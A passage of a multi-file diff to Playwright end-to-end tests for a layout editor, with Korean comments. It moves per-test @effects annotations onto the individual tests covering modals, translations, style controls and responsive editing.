* 효과 요약(마커 아님 — 평문): modal_collection_includes_partial_modals, modal_edit_renders_dim_and_blocker, dnd_handles_confined_to_modal_subtree, modal_edit_exit_clears_dim.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
@@ -24,6 +24,7 @@ async function enterEditor(page: import('@playwright/test').Page, url: string):
}
test.describe('@layout-editor 모달 편집 confine', () => {
/** @effects modal_collection_includes_partial_modals */
test('편집기 routes 응답이 partial 모달을 수집(트리 노출 SSoT)', async ({ page }) => {
// 백엔드 모달 수집(collectEditorBaseAndModals)이 partial 참조 + 하위 디렉토리까지 읽어
// 모달을 반환하는지 검증 — 트리 [모달]/"이 화면의 모달" 그룹의 데이터 출처. locale 무관.
@@ -52,6 +53,7 @@ test.describe('@layout-editor 모달 편집 confine', () => {
expect(result.hosts).toContain('_user_base');
});
/** @effects modal_edit_renders_dim_and_blocker, dnd_handles_confined_to_modal_subtree */
test('모달 편집 진입 시 딤 음영 + 차단 밴드 + 핸들이 모달 서브트리로 confine', async ({ page }) => {
await enterEditor(page, MODAL_DIRECT_URL);
// 모달 편집 모드 진입 + 딤 음영 마운트 대기.
@@ -79,6 +81,7 @@ test.describe('@layout-editor 모달 편집 confine', () => {
expect(handleClassification.outModal).toBe(0); // 딤 호스트엔 핸들 없음
});
/** @effects modal_edit_exit_clears_dim */
test('모달 편집 종료 → 딤 해제 + 편집 모드 이탈', async ({ page }) => {
await enterEditor(page, MODAL_DIRECT_URL);
await expect(page.locator('[data-mode="modal"]')).toBeAttached({ timeout: 30_000 });
@@ -8,8 +8,8 @@
* 저장 시점에 백엔드가 그 키를 orphaned 로 전이하고, 관리 모달에 "미사용" 배지로 노출된다.
* T4. 정리 — orphaned 키를 일괄 삭제하면 목록에서 사라진다.
*
* @scenario toolbar_translations_button_opens_manager + manager_lists_and_filters + orphan_created_on_save_shows_badge + orphan_bulk_delete
* @effects toolbar_translations_button_opens_manager_modal + manager_filters_by_status_all_active_orphaned + manager_shows_orphaned_badge + save_marks_unreferenced_custom_key_as_orphaned + manager_purges_all_orphaned_keys + manager_lists_custom_keys_for_layout_with_bearer_header
* 축 요약(마커 아님 — 평문): toolbar_translations_button_opens_manager, manager_lists_and_filters, orphan_created_on_save_shows_badge, orphan_bulk_delete.
* 효과 요약(마커 아님 — 평문): toolbar_translations_button_opens_manager_modal, manager_filters_by_status_all_active_orphaned, manager_shows_orphaned_badge, save_marks_unreferenced_custom_key_as_orphaned, manager_purges_all_orphaned_keys, manager_lists_custom_keys_for_layout_with_bearer_header.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
import type { Page } from '@playwright/test';
@@ -34,6 +34,7 @@ async function openManager(page: Page): Promise<void> {
}
test.describe('@layout-editor 커스텀 다국어 관리 모달 (S8-2 후속)', () => {
/** @effects toolbar_translations_button_opens_manager_modal */
test('T1. 🌐 버튼 → 관리 모달 진입', async ({ page }) => {
await openEditorLogin(page);
await openManager(page);
@@ -43,6 +44,7 @@ test.describe('@layout-editor 커스텀 다국어 관리 모달 (S8-2 후속)',
await expect(page.getByTestId('g7le-translation-manager')).toHaveCount(0);
});
/** @effects manager_filters_by_status_all_active_orphaned */
test('T2. 목록/필터 동작 (비어 있으면 empty, 있으면 필터 탭)', async ({ page }) => {
await openEditorLogin(page);
await openManager(page);
@@ -59,6 +61,7 @@ test.describe('@layout-editor 커스텀 다국어 관리 모달 (S8-2 후속)',
}
});
/** @effects manager_lists_custom_keys_for_layout_with_bearer_header */
test('T3+T4. 모달 fetch 가 Bearer 토큰을 첨부하고 응답을 렌더한다', async ({ page }) => {
await openEditorLogin(page);
// 관리 모달 fetch 요청의 Authorization 헤더를 가로채 검증.
@@ -13,7 +13,7 @@
* ⓘ 메뉴 오픈·드래그 시작 보존을 검증한다.
*
* @scenario context_plus_button selected_node_state=basic_selected
* @effects overlay_affordance_above_drag_handle_zindex + overlay_affordance_click_not_intercepted_by_drag_handle + drag_handle_depth_clamped_below_affordance_band + drag_initiation_preserved_on_element_body_after_affordance_zindex_fix
* 효과 요약(마커 아님 — 평문): overlay_affordance_above_drag_handle_zindex, overlay_affordance_click_not_intercepted_by_drag_handle, drag_handle_depth_clamped_below_affordance_band, drag_initiation_preserved_on_element_body_after_affordance_zindex_fix.
*/
import type { Page } from '@playwright/test';
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
@@ -85,6 +85,7 @@ test.describe('@layout-editor overlay affordance z-index', () => {
});
});
/** @effects overlay_affordance_above_drag_handle_zindex */
test('선택 시 +/ⓘ 버튼이 어포던스 밴드 z-index(120)로 렌더', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -116,6 +117,7 @@ test.describe('@layout-editor overlay affordance z-index', () => {
}
});
/** @effects overlay_affordance_click_not_intercepted_by_drag_handle */
test('+/ⓘ 버튼 정중앙의 topmost 요소가 버튼 자신 — 드래그 핸들에 가로채이지 않음', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -225,6 +227,7 @@ test.describe('@layout-editor overlay affordance z-index', () => {
await expect(page.getByTestId('g7le-context-menu-delete')).toBeVisible();
});
/** @effects drag_handle_depth_clamped_below_affordance_band */
test('드래그 핸들 z-index 가 어포던스 밴드(120) 아래로 클램프 — 어떤 깊이에서도', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -252,6 +255,7 @@ test.describe('@layout-editor overlay affordance z-index', () => {
expect(result.monotonic, '드래그 핸들 z-index 는 base(20) 이상 깊이순 유지').toBe(true);
});
/** @effects drag_initiation_preserved_on_element_body_after_affordance_zindex_fix */
test('드래그 시작은 보존 — 요소 본문 잡고 끌면 고스트 + 드롭 슬롯 생성 (DnD 무회귀)', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -11,11 +11,12 @@
* 잠그며, 본 spec 은 토글 표시/전환의 브라우저 가시 결과를 측정한다.
*
* @scenario layout-editor-page-state-switcher
* @effects login_route_shows_state_toggle_with_two_options + root_route_hides_state_toggle + login_failed_state_renders_form_error_text_on_canvas + profile_edit_password_entry_vs_actual_edit_section_toggle + admin_users_edit_vs_create_title_via_route_id_removal + admin_settings_general_vs_seo_tab_via_query_tab + checkout_validation_failed_renders_dotted_key_inline_errors + guest_order_form_guest_vs_member_branch_toggle_via_currentuser_patch
* 효과 요약(마커 아님 — 평문): login_route_shows_state_toggle_with_two_options, root_route_hides_state_toggle, login_failed_state_renders_form_error_text_on_canvas, profile_edit_password_entry_vs_actual_edit_section_toggle, admin_users_edit_vs_create_title_via_route_id_removal, admin_settings_general_vs_seo_tab_via_query_tab, checkout_validation_failed_renders_dotted_key_inline_errors, guest_order_form_guest_vs_member_branch_toggle_via_currentuser_patch.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
test.describe('@layout-editor 페이지 상태 토글 (S6-3)', () => {
/** @effects login_route_shows_state_toggle_with_two_options */
test('states 선언 라우트(/login) → 상태 토글 표시 + 항목 2개', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -33,6 +34,7 @@ test.describe('@layout-editor 페이지 상태 토글 (S6-3)', () => {
await expect(options).toHaveCount(2);
});
/** @effects root_route_hides_state_toggle */
test('states 미선언 라우트(/) → 상태 토글 미표시 (디그레이드)', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -49,6 +51,7 @@ test.describe('@layout-editor 페이지 상태 토글 (S6-3)', () => {
await expect(page.getByTestId('g7le-state-switcher')).toHaveCount(0);
});
/** @effects login_failed_state_renders_form_error_text_on_canvas */
test('로그인 실패 상태 전환 → 캔버스에 폼 오류 표시 (formErrors 경로 주입)', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -82,6 +85,7 @@ test.describe('@layout-editor 페이지 상태 토글 (S6-3)', () => {
// initialState.local.isPasswordVerified 패치가 레이아웃 init_actions 의 기본값을 이겨
// 각 단계 화면이 미리보기된다. 신규 다국어 키(editor.state.profile_*)가 캐시 무효화
// 구멍 없이 친화명으로 해석되는지도 함께 측정한다(라벨 raw 회귀 차단).
/** @effects profile_edit_password_entry_vs_actual_edit_section_toggle */
test('profile/edit → 비밀번호 확인 / 실제 수정 단계 토글 + 신규 라벨 해석', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -114,6 +118,7 @@ test.describe('@layout-editor 페이지 상태 토글 (S6-3)', () => {
// route 패치 — admin_user_form 의 route.id 유무(수정↔신규) 변종 (미커버 발굴분).
// admin 라우트는 `*/admin/...` 프리픽스라 URL 직접 인코딩 대신 라우트 트리 클릭으로 진입.
/** @effects admin_users_edit_vs_create_title_via_route_id_removal */
test('admin users/:id/edit → route.id 제거로 수정↔신규 작성 모드 전환', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -139,6 +144,7 @@ test.describe('@layout-editor 페이지 상태 토글 (S6-3)', () => {
});
// query 패치 — admin_settings 의 query.tab 변종 (미커버 발굴분).
/** @effects admin_settings_general_vs_seo_tab_via_query_tab */
test('admin settings → query.tab 으로 일반↔SEO 탭 전환', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -162,6 +168,7 @@ test.describe('@layout-editor 페이지 상태 토글 (S6-3)', () => {
// `_local.errors?.['orderer.name']` 처럼 **키 자체에 점이 박힌** flat 키로 읽는다. 페이지
// 상태 formErrors 키를 대괄호 표기(`_local.errors['orderer.name']`)로 지정하면
// tokenizePath 가 점을 리터럴 leaf 로 보존해 인라인 에러가 캔버스에 표현된다.
/** @effects checkout_validation_failed_renders_dotted_key_inline_errors */
test('checkout → validation_failed 전환 시 점 박힌 키 인라인 에러 노출', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -211,6 +218,7 @@ test.describe('@layout-editor 페이지 상태 토글 (S6-3)', () => {
// 안내). 편집기 sampleGlobal 은 로그인 고정이라 상태 그룹이 없으면 비회원 조회 폼이 영영
// 미표시되어 편집 불가였다. guest 상태(currentUser:null 패치)로 폼을, member 상태(패치
// 없음)로 안내 분기를 각각 캔버스에 노출하는지 측정한다(라이브 실측 회귀 차단).
/** @effects guest_order_form_guest_vs_member_branch_toggle_via_currentuser_patch */
test('guest_order_form → 비회원(조회 폼) ↔ 회원(마이페이지 안내) 분기 전환', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -24,8 +24,8 @@
* - guest_only 레이아웃은 체인 레벨에서 코어 keyspace currentUser 를 시드에서 제외(흡수).
* "이미 로그인되어 있습니다" 토스트 미발화 가드.
*
* @scenario palette_i18n + global_seed + sample_global_chain + guest_only_no_currentUser + save_success
* @effects undo_history_reset + banner_visible + guest_only_no_redirect_toast, editor_save_specs_target_sandbox_layout_not_product_layout
* 축 요약(마커 아님 — 평문): palette_i18n, global_seed, sample_global_chain, guest_only_no_currentUser, save_success.
* 효과 요약(마커 아님 — 평문): undo_history_reset, banner_visible, guest_only_no_redirect_toast, editor_save_specs_target_sandbox_layout_not_product_layout.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
import { sandboxRouteParam } from '../../fixtures/seed-layout';
@@ -105,6 +105,7 @@ test.describe('@layout-editor palette i18n + global seed', () => {
await expect(myPageBtn).toBeVisible();
});
/** @effects guest_only_no_redirect_toast */
test('guest_only 레이아웃 — sampleGlobal 체인이 currentUser 시드 제외 + 토스트 미발화', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -139,6 +140,7 @@ test.describe('@layout-editor palette i18n + global seed', () => {
// 저장(PUT)하는 테스트는 편집 결과가 그대로 영속되므로 제품 화면(home)이 아니라 E2E 전용
// 시드 화면(e2e_sandbox)을 대상으로 한다. 시드 화면은 globalSetup 이 매 실행 fixture 원본으로
// 덮어쓰므로 회차 간 Div 누적이 성립하지 않는다.
/** @effects undo_history_reset, banner_visible, editor_save_specs_target_sandbox_layout_not_product_layout */
test('저장 success kind → SaveFeedbackBanner 표시 + history reset (결함 E + I 회귀 가드)', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -28,8 +28,8 @@
* 단위(prop-i18n-text-field.test 칸자리 칩 4건)로 검증한다. 본 spec 은 종전대로 평문 미리보기 input·키
* 생성·펼침 폼 노출·저장 영속(비-칩 경로)을 라이브로 잠근다.
*
* @scenario prop_i18n_text_field_inline_preview + prop_i18n_create_key_via_post + prop_i18n_expand_ko_en_ja + children_item_text_i18n_widget + token_persists_on_save
* @effects text_propcontrol_renders_i18n_widget_not_raw_key_input, prop_i18n_plain_input_creates_custom_key_via_post, prop_i18n_expand_shows_all_active_locales_bulk_form, children_item_text_uses_shared_i18n_widget_ssot, custom_key_token_recorded_in_prop_value_and_node_text_persists_on_put, editor_save_specs_target_sandbox_layout_not_product_layout
* 축 요약(마커 아님 — 평문): prop_i18n_text_field_inline_preview, prop_i18n_create_key_via_post, prop_i18n_expand_ko_en_ja, children_item_text_i18n_widget, token_persists_on_save.
* 효과 요약(마커 아님 — 평문): text_propcontrol_renders_i18n_widget_not_raw_key_input, prop_i18n_plain_input_creates_custom_key_via_post, prop_i18n_expand_shows_all_active_locales_bulk_form, children_item_text_uses_shared_i18n_widget_ssot, custom_key_token_recorded_in_prop_value_and_node_text_persists_on_put, editor_save_specs_target_sandbox_layout_not_product_layout.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
import type { Page } from '@playwright/test';
@@ -116,6 +116,7 @@ async function openPropsTab(page: Page): Promise<void> {
}
test.describe('@layout-editor 텍스트 propControl 동적 다국어 (부록7 7-b)', () => {
/** @effects text_propcontrol_renders_i18n_widget_not_raw_key_input, prop_i18n_plain_input_creates_custom_key_via_post, prop_i18n_expand_shows_all_active_locales_bulk_form */
test('Input placeholder propControl 이 raw 키 아닌 i18n 위젯(미리보기+🌐)으로 렌더되고 평문 입력→키 생성→펼침', async ({ page }) => {
await gotoEditor(page);
const vdiv = await addEmptyDiv(page);
@@ -159,6 +160,7 @@ test.describe('@layout-editor 텍스트 propControl 동적 다국어 (부록7 7-
// 저장(PUT)하는 테스트는 편집 결과가 그대로 영속되므로 제품 화면(home)이 아니라 E2E 전용
// 시드 화면(e2e_sandbox)을 대상으로 한다. 시드 화면은 globalSetup 이 매 실행 fixture 원본으로
// 덮어쓰므로 회차 간 누적이 성립하지 않는다.
/** @effects children_item_text_uses_shared_i18n_widget_ssot, custom_key_token_recorded_in_prop_value_and_node_text_persists_on_put, editor_save_specs_target_sandbox_layout_not_product_layout */
test('children 항목 텍스트도 동일 i18n 위젯으로 편집(평문→키 생성) + 저장 PUT 200 영속', async ({ page }) => {
await gotoEditor(page, sandboxRouteParam());
const vdiv = await addEmptyDiv(page, true);
@@ -220,8 +222,8 @@ test.describe('@layout-editor 텍스트 propControl 동적 다국어 (부록7 7-
// 가로 스크롤 회귀 — 속성 모달 본문은 긴 텍스트 입력·🌐 펼침 폼에서도 가로로
// 넘치지 않아야 한다. 컨트롤
// 행/위젯 컨테이너 + 펼침 폼의 minWidth:0 가드를 라이브 브라우저로 잠근다.
// @scenario property_modal_no_horizontal_scroll_on_long_input + property_modal_no_horizontal_scroll_on_expand
// @effects control_row_and_widget_minwidth0_prevent_body_horizontal_scroll, expand_locale_form_minwidth0_prevents_body_horizontal_scroll
// 축 요약(마커 아님 — 평문): property_modal_no_horizontal_scroll_on_long_input, property_modal_no_horizontal_scroll_on_expand.
/** @effects control_row_and_widget_minwidth0_prevent_body_horizontal_scroll, expand_locale_form_minwidth0_prevents_body_horizontal_scroll */
test('속성 모달 본문은 긴 입력·🌐 펼침에서도 가로 스크롤이 없다', async ({ page }) => {
await gotoEditor(page);
const vdiv = await addEmptyDiv(page);
@@ -12,8 +12,8 @@
* 실제 편집기 DOM 에서 선택→모달→패치 라운드트립과 딤/잠금 해제를 브라우저로 검증한다
* (단위 시뮬레이션이 모사 못 하는 modal.stack 파생 + 실제 React 재렌더 경로).
*
* @scenario iteration_shared_edit + affordance_gap + edit_lock_dim + edit_lock_release + permission_candidate_add
* @effects all_iteration_instances_patched + affordance_offset_30 + canvas_dim_on_modal + canvas_undim_on_close + permission_add_enabled
* 축 요약(마커 아님 — 평문): iteration_shared_edit, affordance_gap, edit_lock_dim, edit_lock_release, permission_candidate_add.
* 효과 요약(마커 아님 — 평문): all_iteration_instances_patched, affordance_offset_30, canvas_dim_on_modal, canvas_undim_on_close, permission_add_enabled.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
import type { Page } from '@playwright/test';
@@ -54,6 +54,7 @@ async function openModalStyleTab(page: Page): Promise<void> {
}
test.describe('@layout-editor 속성 편집 UX', () => {
/** @effects all_iteration_instances_patched */
test('항목1 — 이터레이션 인스턴스 속성 편집이 모든 인스턴스에 함께 반영', async ({ page }) => {
await gotoEditor(page);
@@ -101,6 +102,7 @@ test.describe('@layout-editor 속성 편집 UX', () => {
.toBe(count);
});
/** @effects affordance_offset_30 */
test('항목2/3 — 큰(inside) 편집 가능 요소의 + 버튼·ⓘ 버튼 30px 바깥 여백', async ({ page }) => {
await gotoEditor(page, '%2Flogin');
@@ -141,6 +143,7 @@ test.describe('@layout-editor 속성 편집 UX', () => {
expect(measured.aboveTop).toBe('-30px');
});
/** @effects canvas_dim_on_modal, canvas_undim_on_close */
test('항목7 — 속성 편집 중 캔버스 딤/잠금 + 닫기(편집 후 포함) 시 자동 해제', async ({ page }) => {
await gotoEditor(page);
@@ -205,6 +208,7 @@ test.describe('@layout-editor 속성 편집 UX', () => {
await expect(page.locator('[data-testid="g7le-property-modal"]')).toHaveCount(0);
});
/** @effects permission_add_enabled */
test('표시 권한 — 고급 탭 TagInput 후보가 편집기 전용 엔드포인트에서 fetch 되어 추가 활성', async ({ page }) => {
await gotoEditor(page);
@@ -10,8 +10,8 @@
* - guest_only 레이아웃: 템플릿이 currentUser 를 시드해도 비로그인 페이지에서 제외 →
* "이미 로그인되어 있습니다" 토스트 미발화
*
* @scenario property_modal_open + style_control_patch + sample_global_from_template + guest_only_no_currentUser
* @effects modal_visible + canvas_live_patch + site_name_seeded + guest_only_no_redirect_toast
* 축 요약(마커 아님 — 평문): property_modal_open, style_control_patch, sample_global_from_template, guest_only_no_currentUser.
* 효과 요약(마커 아님 — 평문): modal_visible, canvas_live_patch, site_name_seeded, guest_only_no_redirect_toast.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
@@ -56,6 +56,7 @@ async function selectNodeWithInfoButton(page: import('@playwright/test').Page):
}
test.describe('@layout-editor 속성 편집 모달 (S6-2)', () => {
/** @effects modal_visible, canvas_live_patch */
test('요소 선택 → ⓘ → 속성 설정 → 스타일 탭 컨트롤 렌더 + 패치', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -93,6 +94,7 @@ test.describe('@layout-editor 속성 편집 모달 (S6-2)', () => {
expect(hasStyleTab + hasNoEditable).toBeGreaterThan(0);
});
/** @effects site_name_seeded */
test('sampleGlobal: 번들 템플릿 시드로 _global.currentUser / settings 가 채워진다 (코어 시드 폐기 후)', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -116,6 +118,7 @@ test.describe('@layout-editor 속성 편집 모달 (S6-2)', () => {
);
});
/** @effects guest_only_no_redirect_toast */
test('guest_only 레이아웃: 템플릿 currentUser 시드 제외 → "이미 로그인" 토스트 미발화', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -9,8 +9,8 @@
* D. 텍스트 정렬 justify 옵션 노출 + 적용 → text-justify.
* E. 고급 탭 — 권한 후보가 식별자(key)와 함께 표시되고, 카테고리(부모)는 제외(리프만).
*
* @scenario new_style_controls_live_apply + border_color_preset + text_format_toggle + justify_align + permission_identifier_leaf_only
* @effects box_class_tokens + border_color_token + italic_underline_tokens + text_justify_token + advanced_permission_id_visible
* 축 요약(마커 아님 — 평문): new_style_controls_live_apply, border_color_preset, text_format_toggle, justify_align, permission_identifier_leaf_only.
* 효과 요약(마커 아님 — 평문): box_class_tokens, border_color_token, italic_underline_tokens, text_justify_token, advanced_permission_id_visible.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
import { editorPath } from '../../fixtures/layout-editor';
@@ -81,6 +81,7 @@ const tokensOf = (page: import('@playwright/test').Page, path: string) =>
page.evaluate((p) => (document.querySelector(`[data-editor-path="${p}"]`)?.className ?? '').split(/\s+/).filter(Boolean), path);
test.describe('@layout-editor 신규 스타일 컨트롤', () => {
/** @effects box_class_tokens */
test('A. 컨테이너 박스 컨트롤 — 그림자/라운드/스크롤 select 가 캔버스에 반영', async ({ page }) => {
await openEditorLogin(page);
await openPropsFor(page, CARD);
@@ -121,6 +122,7 @@ test.describe('@layout-editor 신규 스타일 컨트롤', () => {
await expect.poll(() => tokensOf(page, CARD)).toContain('opacity-50');
});
/** @effects border_color_token */
test('B. 테두리 색 프리셋 → border-{color} 토큰', async ({ page }) => {
await openEditorLogin(page);
await openPropsFor(page, CARD);
@@ -130,6 +132,7 @@ test.describe('@layout-editor 신규 스타일 컨트롤', () => {
await expect.poll(() => tokensOf(page, CARD)).toContain('border-blue-600');
});
/** @effects italic_underline_tokens */
test('C. 텍스트 서식 — 기울임/밑줄 토글이 제목에 반영', async ({ page }) => {
await openEditorLogin(page);
await openPropsFor(page, CARD_H2);
@@ -141,6 +144,7 @@ test.describe('@layout-editor 신규 스타일 컨트롤', () => {
await expect.poll(() => tokensOf(page, CARD_H2)).toContain('underline');
});
/** @effects text_justify_token */
test('D. 텍스트 정렬 justify 옵션 적용 → text-justify', async ({ page }) => {
await openEditorLogin(page);
await openPropsFor(page, CARD_H2);
@@ -148,6 +152,7 @@ test.describe('@layout-editor 신규 스타일 컨트롤', () => {
await expect.poll(() => tokensOf(page, CARD_H2)).toContain('text-justify');
});
/** @effects advanced_permission_id_visible */
test('E. 고급 탭 — 권한 후보에 식별자 표시 + 카테고리(부모) 제외', async ({ page }) => {
await openEditorLogin(page);
await openPropsFor(page, CARD);
@@ -7,8 +7,8 @@
* C. (A 로 해소) 수평 컨테이너(정렬 박스)에서 좌/우 삽입 어포던스 활성 — block 은 상/하만.
* D. 표(Table) 추가 → 머리글/본문 행이 실제로 렌더(빈 table 회귀 차단).
*
* @scenario flex_toggle_node_derived + spacing_per_side_independent + insertion_dir_by_flow + table_renders_rows
* @effects flex_container_controls_and_disable + pt_pl_coexist + left_right_enabled_in_flex + table_tr_td_rendered
* 축 요약(마커 아님 — 평문): flex_toggle_node_derived, spacing_per_side_independent, insertion_dir_by_flow, table_renders_rows.
* 효과 요약(마커 아님 — 평문): flex_container_controls_and_disable, pt_pl_coexist, left_right_enabled_in_flex, table_tr_td_rendered.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
import { editorPath as resolveEditorPath } from '../../fixtures/layout-editor';
@@ -52,6 +52,7 @@ async function openPropsFor(page: import('@playwright/test').Page, editorPath: s
}
test.describe('@layout-editor S7 후속 회귀', () => {
/** @effects flex_container_controls_and_disable */
test('A. 정렬 박스 만들기 → 컨테이너 컨트롤 + 해제 토글로 원복 (노드 파생 판정)', async ({ page }) => {
await openEditorLogin(page);
await openPropsFor(page, CARD);
@@ -82,6 +83,7 @@ test.describe('@layout-editor S7 후속 회귀', () => {
await expect(page.getByTestId('g7le-flex-enable')).toBeAttached();
});
/** @effects pt_pl_coexist */
test('B. 여백 개별 모드 — 상/좌를 다른 값으로 → pt-/pl- 토큰 공존', async ({ page }) => {
await openEditorLogin(page);
await openPropsFor(page, CARD);
@@ -106,6 +108,7 @@ test.describe('@layout-editor S7 후속 회귀', () => {
).toBe(true);
});
/** @effects left_right_enabled_in_flex */
test('C. 흐름별 삽입 방향 — flex-row 자식은 좌/우 활성, block 자식은 상/하만', async ({ page }) => {
await openEditorLogin(page);
@@ -132,6 +135,7 @@ test.describe('@layout-editor S7 후속 회귀', () => {
expect(await page.getByTestId('g7le-insertion-below').getAttribute('data-disabled')).toBe('false');
});
/** @effects table_tr_td_rendered */
test('D. 표 추가 → 머리글/본문 행이 실제 렌더(빈 table 회귀 차단)', async ({ page }) => {
await openEditorLogin(page);
@@ -5,17 +5,11 @@
* 스타일/flex/표시조건을 해당 위치(responsive.{bp}.props / dark: 토큰 / responsive.{bp}.if)에
* 무손실로 기록·역해석하고, 저장·새로고침 후 복원되는지 검증한다.
*
* @scenario color_scheme × device × apply_type × edit_target
* @effects device_scope_writes_responsive_breakpoint_props_base_unchanged
* + dark_classToken_coexists_with_light_token_in_one_className
* + dark_inline_control_readonly_value_never_overwritten
* + scope_without_override_shows_base_inherited_value_as_placeholder
* + custom_range_scope_writes_responsive_range_key
* + device_flex_disable_writes_explicit_off_token_breaking_base_inheritance
* + modal_scope_snapshots_toolbar_on_open
* + modal_scope_independent_after_toolbar_change
* + save_persists_responsive_and_if_on_reload
* + preview_color_scheme_toggle_applies_dark_wrapper_to_preview_frame_only
* 축 요약(마커 아님 — 평문): color_scheme, device, apply_type, edit_target. 요약을 시나리오 축 마커
* 로 적으면 마커 파서가 `=` 없는 토큰을 버려 빈 조합 `{}` 이
* 된다 — 실재하지 않는 조합이 커버 집합에 들어가는 방향이라 요약은 평문으로 둔다.
*
* 효과 요약(마커 아님 — 평문): device_scope_writes_responsive_breakpoint_props_base_unchanged, dark_classToken_coexists_with_light_token_in_one_className, dark_inline_control_readonly_value_never_overwritten, scope_without_override_shows_base_inherited_value_as_placeholder, custom_range_scope_writes_responsive_range_key, device_flex_disable_writes_explicit_off_token_breaking_base_inheritance, modal_scope_snapshots_toolbar_on_open, modal_scope_independent_after_toolbar_change, save_persists_responsive_and_if_on_reload, preview_color_scheme_toggle_applies_dark_wrapper_to_preview_frame_only.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
import type { Page } from '@playwright/test';
@@ -79,6 +73,7 @@ test.describe('@layout-editor 스타일 탭 색 모드 × 디바이스 scope', (
await expect(page.getByTestId('g7le-style-bp-add-custom')).toBeVisible();
});
/** @effects device_scope_writes_responsive_breakpoint_props_base_unchanged */
test('T2: 디바이스 탭에서 textAlign 변경 → 기본값 className 시드되어 base 토큰 보존(B안)', async ({ page }) => {
await openEditorLogin(page);
await openPropsFor(page, CARD);
@@ -105,6 +100,7 @@ test.describe('@layout-editor 스타일 탭 색 모드 × 디바이스 scope', (
}
});
/** @effects scope_without_override_shows_base_inherited_value_as_placeholder */
test('T2b: 디바이스 override 후 "기본값으로 초기화" → 표시점/override 제거', async ({ page }) => {
await openEditorLogin(page);
await openPropsFor(page, CARD);
@@ -122,6 +118,7 @@ test.describe('@layout-editor 스타일 탭 색 모드 × 디바이스 scope', (
}
});
/** @effects dark_inline_control_readonly_value_never_overwritten */
test('T3: 다크 세부탭에서 인라인 색상 컨트롤은 읽기전용 안내', async ({ page }) => {
await openEditorLogin(page);
await openPropsFor(page, CARD);
@@ -137,6 +134,7 @@ test.describe('@layout-editor 스타일 탭 색 모드 × 디바이스 scope', (
}
});
/** @effects dark_classToken_coexists_with_light_token_in_one_className */
test('T3b: 색 컨트롤 classToken — 라이트 프리셋 적용 + 다크 프리셋 dark: 토큰 공존', async ({ page }) => {
await openEditorLogin(page);
await openPropsFor(page, CARD);
@@ -166,6 +164,7 @@ test.describe('@layout-editor 스타일 탭 색 모드 × 디바이스 scope', (
}
});
/** @effects custom_range_scope_writes_responsive_range_key */
test('T6: 커스텀 크기 탭 추가 → 600-900 탭 활성 + 우선순위 안내', async ({ page }) => {
await openEditorLogin(page);
await openPropsFor(page, CARD);
@@ -192,6 +191,7 @@ test.describe('@layout-editor 스타일 탭 색 모드 × 디바이스 scope', (
}
});
/** @effects preview_color_scheme_toggle_applies_dark_wrapper_to_preview_frame_only */
test('T12: 툴바 라이트/다크 토글 → 프리뷰 프레임만.g7le-preview-dark (편집기 chrome 비다크 격리)', async ({ page }) => {
await openEditorLogin(page);
@@ -17,7 +17,7 @@
* 검수)로 검증한다(feedback_chrome_mcp_dnd_kit_incompatible).
*
* @scenario responsive_branch_edit drag_drop
* @effects branch_drop_slots_render + branch_node_has_drag_handle
* 효과 요약(마커 아님 — 평문): branch_drop_slots_render, branch_node_has_drag_handle.
*/
import type { Page } from '@playwright/test';
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
@@ -124,6 +124,7 @@ test.describe('@layout-editor responsive 분기 드래그/슬롯', () => {
});
});
/** @effects branch_node_has_drag_handle */
test('모바일 보기에서 responsive 분기 자식이 드래그 핸들을 가진다', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -141,6 +142,7 @@ test.describe('@layout-editor responsive 분기 드래그/슬롯', () => {
).toBeGreaterThan(0);
});
/** @effects branch_drop_slots_render */
test('분기 안 노드를 드래그하면 같은 분기 안에 드롭 슬롯이 생성된다 (결함① 회귀 가드)', async ({
page,
}) => {
@@ -11,7 +11,7 @@
* `search_row`(portable **children** 교체)를 함께 가져, 두 판정 분기를 한 화면에서 검증한다.
*
* @scenario responsive_branch_edit device_list style_scope_tab branch_separation
* @effects device_toggle_has_portable + style_tab_has_portable + separation_mode_by_children
* 효과 요약(마커 아님 — 평문): device_toggle_has_portable, style_tab_has_portable, separation_mode_by_children.
*/
import type { Page } from '@playwright/test';
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
@@ -82,6 +82,7 @@ async function selectNodeById(page: Page, id: string): Promise<void> {
}
